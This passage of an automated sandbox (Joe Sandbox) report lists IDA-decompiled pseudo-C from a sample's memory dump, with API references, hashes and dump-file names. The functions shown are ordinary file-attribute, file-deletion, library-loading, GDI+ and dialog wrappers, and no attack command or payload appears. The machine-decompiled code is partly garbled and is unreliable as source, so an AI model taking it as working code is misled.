Part of subcall function 008808B0: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 008808DC
Part of subcall function 008808B0: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,00000000,00000000), ref: 00880902
Part of subcall function 008808B0: _free.LIBCMT ref: 00880915
Part of subcall function 008808B0: FreeEnvironmentStringsW.KERNEL32(00000000), ref: 00880924

_free.LIBCMT ref: 0087CBF3
_free.LIBCMT ref: 0087CBFA

Memory Dump Source

Source File: 0000000E.00000002.472630012.0000000000861000.00000020.00000001.01000000.00000009.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000E.00000002.472502125.0000000000860000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473142055.0000000000888000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473282330.0000000000893000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473355190.0000000000899000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473536377.00000000008A5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473813211.00000000008C5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473853866.00000000008C8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473894427.00000000008C9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_860000_0RWCjOTmPGy8vyz30vD2T7Gp.jbxd

Similarity

API ID: _free$ByteCharEnvironmentMultiStringsWide$Free
String ID:
API String ID: 400815659-0
Opcode ID: 2b3850a5cc499d969eb155a55de9243ca4d2926669d51e17812e96a10a9efaef
Instruction ID: b4252bd6988df645659b7eec443e202072042bfd8dcc12b8800fdb90cbb12c8d
Opcode Fuzzy Hash: 2b3850a5cc499d969eb155a55de9243ca4d2926669d51e17812e96a10a9efaef
Instruction Fuzzy Hash: 46E02B1398461546D2A1327E2C53F1A0264FFC1378B52832DF62DE71CBCD20C80606D7

Uniqueness

Uniqueness Score: -1.00%

Function 0086294B Relevance: 3.0, APIs: 2, Instructions: 29
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0086294B(WCHAR* _a4, long _a8) {
				short _v4100;
				int _t13;
				signed int _t19;
				signed int _t20;

				E00873AC0(0x1000);
				_t13 = SetFileAttributesW(_a4, _a8); // executed
				_t20 = _t19 & 0xffffff00 | _t13 != 0x00000000;
				if(_t13 == 0 && E00863553(_a4,  &_v4100, 0x800) != 0) {
					_t20 = _t20 & 0xffffff00 | SetFileAttributesW( &_v4100, _a8) != 0x00000000;
				}
				return _t20;
			}

0x00862953
0x0086295f
0x00862967
0x0086296c
0x00862998
0x00862998
0x0086299f

APIs

SetFileAttributesW.KERNELBASE(?,00000000,?,?,00862783,?,?), ref: 0086295F

Part of subcall function 00863553: _wcslen.LIBCMT ref: 00863577

SetFileAttributesW.KERNEL32(?,00000000,?,?,00000800,?,?,00862783,?,?), ref: 00862990

Memory Dump Source

Source File: 0000000E.00000002.472630012.0000000000861000.00000020.00000001.01000000.00000009.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000E.00000002.472502125.0000000000860000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473142055.0000000000888000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473282330.0000000000893000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473355190.0000000000899000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473536377.00000000008A5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473813211.00000000008C5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473853866.00000000008C8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473894427.00000000008C9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_860000_0RWCjOTmPGy8vyz30vD2T7Gp.jbxd

Similarity

API ID: AttributesFile$_wcslen
String ID:
API String ID: 2673547680-0
Opcode ID: 952a960bac956985cea5f1f4d17d7b97a5c6f669cd126e35a12036824524a2e6
Instruction ID: b4c2009d8120818978aba109952dda16acc8b21a4aae8abaedf9a5f90f282df4
Opcode Fuzzy Hash: 952a960bac956985cea5f1f4d17d7b97a5c6f669cd126e35a12036824524a2e6
Instruction Fuzzy Hash: 93F06D3110061ABBDF12AF69CC45FD93B7CFF047D5F4880A1B849D6060DB71DA98AB51

Uniqueness

Uniqueness Score: -1.00%

Function 0086262F Relevance: 3.0, APIs: 2, Instructions: 27
fileCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0086262F(WCHAR* _a4) {
				short _v4100;
				int _t11;
				signed int _t17;
				signed int _t18;

				E00873AC0(0x1000);
				_t11 = DeleteFileW(_a4); // executed
				_t18 = _t17 & 0xffffff00 | _t11 != 0x00000000;
				if(_t11 == 0 && E00863553(_a4,  &_v4100, 0x800) != 0) {
					_t18 = _t18 & 0xffffff00 | DeleteFileW( &_v4100) != 0x00000000;
				}
				return _t18;
			}

0x00862637
0x00862640
0x00862648
0x0086264d
0x00862676
0x00862676
0x0086267d

APIs

DeleteFileW.KERNELBASE(000000FF,?,?,00861CCF,?,?,00861B21,?,?,?,?,?,0088700F,000000FF), ref: 00862640

Part of subcall function 00863553: _wcslen.LIBCMT ref: 00863577

DeleteFileW.KERNEL32(?,000000FF,?,00000800,?,?,00861CCF,?,?,00861B21,?,?,?,?,?,0088700F), ref: 0086266E

Memory Dump Source

Source File: 0000000E.00000002.472630012.0000000000861000.00000020.00000001.01000000.00000009.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000E.00000002.472502125.0000000000860000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473142055.0000000000888000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473282330.0000000000893000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473355190.0000000000899000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473536377.00000000008A5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473813211.00000000008C5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473853866.00000000008C8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473894427.00000000008C9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_860000_0RWCjOTmPGy8vyz30vD2T7Gp.jbxd

Similarity

API ID: DeleteFile$_wcslen
String ID:
API String ID: 2643169976-0
Opcode ID: 634540b763b686c68c682d2ed6ed4173bcdb70e1edca34ef28ad7f9795f25d7c
Instruction ID: ce007c4473902e5a2d467c3fa3775418a7ddd37e6bef9a8aeb8523ddb6e56e25
Opcode Fuzzy Hash: 634540b763b686c68c682d2ed6ed4173bcdb70e1edca34ef28ad7f9795f25d7c
Instruction Fuzzy Hash: EAE09271180619ABDB019F68DC05BD9379CFB04389F448061B945D2050DB70DD949B51

Uniqueness

Uniqueness Score: -1.00%

Function 0086FE9C Relevance: 3.0, APIs: 2, Instructions: 26
comCOMMON

Download Yara Rule

C-Code - Quality: 37%

			E0086FE9C(void* __ecx) {
				intOrPtr _v16;
				intOrPtr* _t5;
				void* _t8;
				void* _t13;
				void* _t16;
				intOrPtr _t19;

				 *[fs:0x0] = _t19;
				_t5 =  *0x8aea00; // 0x7645c100
				 *0x88822c(_t5, _t13, _t16,  *[fs:0x0], 0x88700f, 0xffffffff);
				 *((intOrPtr*)( *((intOrPtr*)( *_t5 + 8))))();
				L00873A8D(); // executed
				_t8 =  *0x8c914c( *((intOrPtr*)(__ecx + 4))); // executed
				 *[fs:0x0] = _v16;
				return _t8;
			}

0x0086fead
0x0086feb4
0x0086fec5
0x0086fecb
0x0086fed0
0x0086fed5
0x0086fedf
0x0086fee8

APIs

GdiplusShutdown.GDIPLUS(?,?,?,?,0088700F,000000FF), ref: 0086FED0
OleUninitialize.OLE32(?,?,?,?,0088700F,000000FF), ref: 0086FED5

Memory Dump Source

Source File: 0000000E.00000002.472630012.0000000000861000.00000020.00000001.01000000.00000009.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000E.00000002.472502125.0000000000860000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473142055.0000000000888000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473282330.0000000000893000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473355190.0000000000899000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473536377.00000000008A5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473813211.00000000008C5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473853866.00000000008C8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473894427.00000000008C9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_860000_0RWCjOTmPGy8vyz30vD2T7Gp.jbxd

Similarity

API ID: GdiplusShutdownUninitialize
String ID:
API String ID: 3856339756-0
Opcode ID: 53bc4a0f3614ab7092c5c89e98f9aebe3ad78fa91b8cbd4d8a108c6557c245f0
Instruction ID: 952280cc225e429d39795cb4dd32f5b0194a5fb82dca0b927fb7259c02221abc
Opcode Fuzzy Hash: 53bc4a0f3614ab7092c5c89e98f9aebe3ad78fa91b8cbd4d8a108c6557c245f0
Instruction Fuzzy Hash: E4E06572604A50DFC7119B4CEC45B45FBB8FB49B20F14466AF416D3760CB78B800CB91

Uniqueness

Uniqueness Score: -1.00%

Function 00862692 Relevance: 3.0, APIs: 2, Instructions: 25
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00862692(WCHAR* _a4) {
				short _v4100;
				long _t7;
				long _t13;

				E00873AC0(0x1000);
				_t7 = GetFileAttributesW(_a4); // executed
				_t13 = _t7;
				if(_t13 == 0xffffffff && E00863553(_a4,  &_v4100, 0x800) != 0) {
					_t13 = GetFileAttributesW( &_v4100);
				}
				return _t13;
			}

0x0086269a
0x008626a3
0x008626a9
0x008626ae
0x008626d5
0x008626d5
0x008626db

APIs

GetFileAttributesW.KERNELBASE(?), ref: 008626A3

Part of subcall function 00863553: _wcslen.LIBCMT ref: 00863577

GetFileAttributesW.KERNEL32(?,?,?,00000800), ref: 008626CF

Memory Dump Source

Source File: 0000000E.00000002.472630012.0000000000861000.00000020.00000001.01000000.00000009.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000E.00000002.472502125.0000000000860000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473142055.0000000000888000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473282330.0000000000893000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473355190.0000000000899000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473536377.00000000008A5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473813211.00000000008C5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473853866.00000000008C8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473894427.00000000008C9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_860000_0RWCjOTmPGy8vyz30vD2T7Gp.jbxd

Similarity

API ID: AttributesFile$_wcslen
String ID:
API String ID: 2673547680-0
Opcode ID: 1bc098ce7838e74456a841f7a7ffb9ab30524a05153e9314db239edfc72d71fb
Instruction ID: 6a779de55918d95606772e9587ddd2aadf03a878de4a95ef0aca0ecdb703ce4b
Opcode Fuzzy Hash: 1bc098ce7838e74456a841f7a7ffb9ab30524a05153e9314db239edfc72d71fb
Instruction Fuzzy Hash: 07E09B315005289BCB11AB6CCC05BD97768FB083E1F054161BD45D7190DA70DD848792

Uniqueness

Uniqueness Score: -1.00%

Function 00872E9E Relevance: 3.0, APIs: 2, Instructions: 25
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00872E9E(void* __eflags, intOrPtr _a4, signed char _a16) {
				short _v5124;

				E00873AC0(0x1400);
				E008639A9( &_v5124, 0xa00, E00864C77((_a16 & 0x000000ff) + 0x65), _a4);
				SetDlgItemTextW( *0x8aea28, 0x65,  &_v5124); // executed
				return E008705A8() & 0xffffff00 |  *0x8aea1c == 0x00000000;
			}

0x00872ea6
0x00872ec8
0x00872edf
0x00872ef5

APIs

_swprintf.LIBCMT ref: 00872EC8

Part of subcall function 008639A9: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 008639BC

SetDlgItemTextW.USER32(00000065,?), ref: 00872EDF

Part of subcall function 008705A8: PeekMessageW.USER32(?,00000000,00000000,00000000,00000000), ref: 008705B9
Part of subcall function 008705A8: GetMessageW.USER32(?,00000000,00000000,00000000), ref: 008705CA
Part of subcall function 008705A8: IsDialogMessageW.USER32(000A016E,?), ref: 008705DE
Part of subcall function 008705A8: TranslateMessage.USER32(?), ref: 008705EC
Part of subcall function 008705A8: DispatchMessageW.USER32(?), ref: 008705F6

Memory Dump Source

Source File: 0000000E.00000002.472630012.0000000000861000.00000020.00000001.01000000.00000009.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000E.00000002.472502125.0000000000860000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473142055.0000000000888000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473282330.0000000000893000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473355190.0000000000899000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473536377.00000000008A5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473813211.00000000008C5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473853866.00000000008C8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473894427.00000000008C9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_860000_0RWCjOTmPGy8vyz30vD2T7Gp.jbxd

Similarity

API ID: Message$DialogDispatchItemPeekTextTranslate__vswprintf_c_l_swprintf
String ID:
API String ID: 2718869927-0
Opcode ID: bac344fea1ea2dbe2e048d554b1a203fed6ea8156967f5ffcb82c7f247f16a6d
Instruction ID: 28a45c3d00dd8f8e181838bb1815794254768ad23eadd995cdcf1e575c035454
Opcode Fuzzy Hash: bac344fea1ea2dbe2e048d554b1a203fed6ea8156967f5ffcb82c7f247f16a6d
Instruction Fuzzy Hash: D4E092B64042186AEB01B769CC0AFAA3A6CFB09385F480451B285E60B2D674E6509F63

Uniqueness

Uniqueness Score: -1.00%

Function 00866B47 Relevance: 3.0, APIs: 2, Instructions: 24
libraryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00866B47(intOrPtr _a4) {
				short _v4100;
				int _t8;
				struct HINSTANCE__* _t12;

				E00873AC0(0x1000);
				_t8 = GetSystemDirectoryW( &_v4100, 0x800);
				_t14 = _t8;
				if(_t8 != 0) {
					E00863793(_t14,  &_v4100, _a4,  &_v4100, 0x800);
					_t12 = LoadLibraryW( &_v4100); // executed
					return _t12;
				}
				return _t8;
			}

0x00866b4f
0x00866b62
0x00866b68
0x00866b6a
0x00866b78
0x00866b84
0x00000000
0x00866b84
0x00866b8c

APIs

GetSystemDirectoryW.KERNEL32(?,00000800), ref: 00866B62
LoadLibraryW.KERNELBASE(?,?,0086583E,Crypt32.dll,00000000,008658C2,?,?,008658A4,?,?,?,?), ref: 00866B84

Memory Dump Source

Source File: 0000000E.00000002.472630012.0000000000861000.00000020.00000001.01000000.00000009.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000E.00000002.472502125.0000000000860000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473142055.0000000000888000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473282330.0000000000893000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473355190.0000000000899000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473536377.00000000008A5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473813211.00000000008C5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473853866.00000000008C8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473894427.00000000008C9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_860000_0RWCjOTmPGy8vyz30vD2T7Gp.jbxd

Similarity

API ID: DirectoryLibraryLoadSystem
String ID:
API String ID: 1175261203-0
Opcode ID: c63445294a8529bff94c613578f7843a5bde1400b57777b03a44b0dde34a96c4
Instruction ID: a26f9acfee873ee76c07e7f25de5311526d2405989e1465209d4d3ccefe83667
Opcode Fuzzy Hash: c63445294a8529bff94c613578f7843a5bde1400b57777b03a44b0dde34a96c4
Instruction Fuzzy Hash: 83E048B2400168A7DB1197A8DC09FDA77ACFF083D2F4440757549D3044DA74DA84CFB1

Uniqueness

Uniqueness Score: -1.00%

Function 0086F5D9 Relevance: 3.0, APIs: 2, Instructions: 23
windowCOMMON

Download Yara Rule

C-Code - Quality: 73%

			E0086F5D9(signed int __ecx, intOrPtr _a4, intOrPtr _a8) {
				signed int _v8;
				signed int* _t10;
				signed int _t15;

				_push(__ecx);
				_t15 = __ecx;
				_t10 =  &_v8;
				_v8 = __ecx;
				_v8 = _v8 & 0x00000000;
				_push(_t10);
				_push(_a4);
				 *__ecx = 0x889410;
				if(_a8 == 0) {
					L00873A75(); // executed
				} else {
					L00873A7B();
				}
				 *((intOrPtr*)(_t15 + 8)) = _t10;
				 *(_t15 + 4) = _v8;
				return _t15;
			}

0x0086f5dc
0x0086f5de
0x0086f5e0
0x0086f5e3
0x0086f5e6
0x0086f5ee
0x0086f5ef
0x0086f5f2
0x0086f5f8
0x0086f601
0x0086f5fa
0x0086f5fa
0x0086f5fa
0x0086f606
0x0086f60c
0x0086f613

APIs

GdipCreateBitmapFromStreamICM.GDIPLUS(?,?), ref: 0086F5FA
GdipCreateBitmapFromStream.GDIPLUS(?,?), ref: 0086F601

Memory Dump Source

Source File: 0000000E.00000002.472630012.0000000000861000.00000020.00000001.01000000.00000009.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000E.00000002.472502125.0000000000860000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473142055.0000000000888000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473282330.0000000000893000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473355190.0000000000899000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473536377.00000000008A5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473813211.00000000008C5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473853866.00000000008C8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473894427.00000000008C9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_860000_0RWCjOTmPGy8vyz30vD2T7Gp.jbxd

Similarity

API ID: BitmapCreateFromGdipStream
String ID:
API String ID: 1918208029-0
Opcode ID: e1abd0849564d1147501c40d08e5d3a90c2afdcbafbf3d14d487753e0b5ebc1a
Instruction ID: 3b0370d1b2ce877a816f3d4d4d4b3ed703eafe7bd12180eb2c1b6f0ffc648873
Opcode Fuzzy Hash: e1abd0849564d1147501c40d08e5d3a90c2afdcbafbf3d14d487753e0b5ebc1a
Instruction Fuzzy Hash: 83E0EDB1500218EBCB50DF98C541699B7E8FF14364F24C06AA989D3251E670EF44DB92

Uniqueness

Uniqueness Score: -1.00%

Function 0087750C Relevance: 3.0, APIs: 2, Instructions: 19
COMMON

Download Yara Rule

C-Code - Quality: 80%

			E0087750C(void* __ecx, void* __eflags) {
				intOrPtr _t1;
				void* _t2;
				void* _t7;
				void* _t9;

				_t1 = E008785DC(__ecx, __eflags, E00877450); // executed
				 *0x8936a0 = _t1;
				_pop(_t7);
				if(_t1 != 0xffffffff) {
					_t2 = E0087868D(_t7, __eflags, _t1, 0x8c86a0);
					_pop(_t9);
					__eflags = _t2;
					if(_t2 != 0) {
						return 1;
					} else {
						E0087753F(_t9);
						goto L1;
					}
				} else {
					L1:
					return 0;
				}
			}

0x00877511
0x00877516
0x0087751b
0x0087751f
0x0087752a
0x00877530
0x00877531
0x00877533
0x0087753e
0x00877535
0x00877535
0x00000000
0x00877535
0x00877521
0x00877521
0x00877523
0x00877523

APIs

___vcrt_FlsSetValue.LIBVCRUNTIME ref: 0087752A
___vcrt_uninitialize_ptd.LIBVCRUNTIME ref: 00877535

Memory Dump Source

Source File: 0000000E.00000002.472630012.0000000000861000.00000020.00000001.01000000.00000009.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000E.00000002.472502125.0000000000860000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473142055.0000000000888000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473282330.0000000000893000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473355190.0000000000899000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473536377.00000000008A5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473813211.00000000008C5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473853866.00000000008C8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473894427.00000000008C9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_860000_0RWCjOTmPGy8vyz30vD2T7Gp.jbxd

Similarity

API ID: Value___vcrt____vcrt_uninitialize_ptd
String ID:
API String ID: 1660781231-0
Opcode ID: 73710d546a3f71e7819485f387b175f24fcfe87f2615045944e94bf6311b5961
Instruction ID: 7be7d6ace4ffe33fcc1378a655d876c04ab648e928e3cc96c57e34ecdf775c71
Opcode Fuzzy Hash: 73710d546a3f71e7819485f387b175f24fcfe87f2615045944e94bf6311b5961
Instruction Fuzzy Hash: 44D0A9A448C300A8CC002FB83C0A89B2280F9217783A0D28AE03CC62E9EE24C440E96B

Uniqueness

Uniqueness Score: -1.00%

Function 008611C1 Relevance: 3.0, APIs: 2, Instructions: 11
COMMON

Download Yara Rule

C-Code - Quality: 58%

			E008611C1(struct HWND__* _a4, int _a8, signed char _a12) {
				int _t8;

				asm("sbb eax, eax");
				_t8 = ShowWindow(GetDlgItem(_a4, _a8),  ~(_a12 & 0x000000ff) & 0x00000009); // executed
				return _t8;
			}

0x008611c8
0x008611dd
0x008611e3

APIs

GetDlgItem.USER32(?,?), ref: 008611D6
ShowWindow.USER32(00000000), ref: 008611DD

Memory Dump Source

Source File: 0000000E.00000002.472630012.0000000000861000.00000020.00000001.01000000.00000009.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000E.00000002.472502125.0000000000860000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473142055.0000000000888000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473282330.0000000000893000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473355190.0000000000899000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473536377.00000000008A5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473813211.00000000008C5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473853866.00000000008C8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473894427.00000000008C9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_860000_0RWCjOTmPGy8vyz30vD2T7Gp.jbxd

Similarity

API ID: ItemShowWindow
String ID:
API String ID: 3351165006-0
Opcode ID: d758d0773b42e6cc5638d5d73c8912a5dc5ba4756484a259b7119d4fd65f57bf
Instruction ID: a9526b9f278999a9632590f7174a072d7831fb334a5fa419218c355e043b5c5f
Opcode Fuzzy Hash: d758d0773b42e6cc5638d5d73c8912a5dc5ba4756484a259b7119d4fd65f57bf
Instruction Fuzzy Hash: DEC01232058202FECB011BB1DC0EC2ABBB8BBA8312F18C94AF0E9C10A0C23CC010DB11

Uniqueness

Uniqueness Score: -1.00%

Function 0086A4A5 Relevance: 1.6, APIs: 1, Instructions: 94
COMMON

Download Yara Rule

C-Code - Quality: 27%

			E0086A4A5(intOrPtr __edx, intOrPtr _a4) {
				intOrPtr _t12;
				intOrPtr _t15;
				intOrPtr _t17;
				intOrPtr _t18;
				void* _t20;
				intOrPtr _t21;
				void* _t24;
				void* _t26;
				intOrPtr _t33;
				intOrPtr _t35;
				intOrPtr _t36;
				void* _t38;
				intOrPtr* _t39;
				intOrPtr* _t40;
				intOrPtr* _t41;
				intOrPtr _t42;
				intOrPtr _t46;
				intOrPtr _t47;
				intOrPtr _t48;

				_t36 = __edx;
				_t42 =  *0x8ad5c4; // 0x0
				_t38 = _a4 +  *0x8ad5c0;
				asm("adc esi, [esp+0x1c]");
				_t24 = E00873EA0(_t38, _t42, 0x2000, 0);
				_t26 = _t38 - _t24;
				_t47 = _t42;
				asm("sbb ebp, edx");
				_t48 = _t42;
				if(_t48 > 0 || _t48 >= 0 && _t38 >= 0) {
					__eflags = _t26 -  *0x8ad5b8; // 0x160000
					if(__eflags != 0) {
						L8:
						_t39 =  *0x8ad598; // 0x0
						 *0x88822c(_t26, _t47, 0);
						 *((intOrPtr*)( *((intOrPtr*)( *_t39 + 0x10))))();
						_t40 =  *0x8ad598; // 0x0
						 *0x88822c();
						_t12 =  *((intOrPtr*)( *((intOrPtr*)( *_t40 + 0x14))))();
						_t41 =  *0x8ad598; // 0x0
						 *0x8ad5b8 = _t12;
						 *0x8ad5bc = _t36;
						 *0x88822c( *0x8ad574, 0x2000);
						_t15 =  *((intOrPtr*)( *((intOrPtr*)( *_t41 + 0xc))))();
						asm("cdq");
						_t46 = _t36;
						_t33 = _t15;
						 *0x8ad580 = _t33;
						 *0x8ad584 = _t46;
						__eflags = _t46;
						if(__eflags > 0) {
							L12:
							asm("cdq");
							_t17 =  *0x8ad574; // 0x0
							 *0x8ad580 = _t33 - _t24;
							asm("sbb esi, edx");
							_t18 = _t17 + _t24;
							__eflags = _t18;
							 *0x8ad584 = _t46;
							L13:
							 *0x8ad578 = _t18;
							__eflags = 0;
							return 0;
						}
						if(__eflags < 0) {
							L11:
							_push(0x33);
							goto L4;
						}
						__eflags = _t33;
						if(_t33 != 0) {
							goto L12;
						}
						goto L11;
					}
					__eflags = _t47 -  *0x8ad5bc; // 0x0
					if(__eflags != 0) {
						goto L8;
					}
					_t21 =  *0x8ad578; // 0x2e0c461
					_t35 =  *0x8ad574; // 0x0
					asm("cdq");
					 *0x8ad580 =  *0x8ad580 + _t21 - _t24 - _t35;
					_t18 = _t24 + _t35;
					asm("adc [0x8ad584], edx");
					goto L13;
				} else {
					_push(3);
					L4:
					_pop(_t20);
					return _t20;
				}
			}

0x0086a4a5
0x0086a4a8
0x0086a4b3
0x0086a4bb
0x0086a4cb
0x0086a4cf
0x0086a4d1
0x0086a4d3
0x0086a4d5
0x0086a4d7
0x0086a4e7
0x0086a4ed
0x0086a51b
0x0086a51b
0x0086a52c
0x0086a534
0x0086a536
0x0086a543
0x0086a54b
0x0086a54d
0x0086a553
0x0086a558
0x0086a570
0x0086a578
0x0086a57a
0x0086a57b
0x0086a57d
0x0086a57f
0x0086a585
0x0086a58b
0x0086a58d
0x0086a59c
0x0086a59e
0x0086a5a1
0x0086a5a6
0x0086a5ac
0x0086a5ae
0x0086a5ae
0x0086a5b0
0x0086a5b6
0x0086a5b6
0x0086a5bb
0x00000000
0x0086a5bb
0x0086a58f
0x0086a595
0x0086a595
0x00000000
0x0086a595
0x0086a591
0x0086a593
0x00000000
0x00000000
0x00000000
0x0086a593
0x0086a4ef
0x0086a4f5
0x00000000
0x00000000
0x0086a4f7
0x0086a4fc
0x0086a506
0x0086a507
0x0086a50d
0x0086a510
0x00000000
0x0086a4df
0x0086a4df
0x0086a4e1
0x0086a4e1
0x00000000
0x0086a4e1

APIs

__allrem.LIBCMT ref: 0086A4C6

Memory Dump Source

Source File: 0000000E.00000002.472630012.0000000000861000.00000020.00000001.01000000.00000009.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000E.00000002.472502125.0000000000860000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473142055.0000000000888000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473282330.0000000000893000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473355190.0000000000899000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473536377.00000000008A5000.00000004.00000001.01000000.00000009.sdmpDownload File
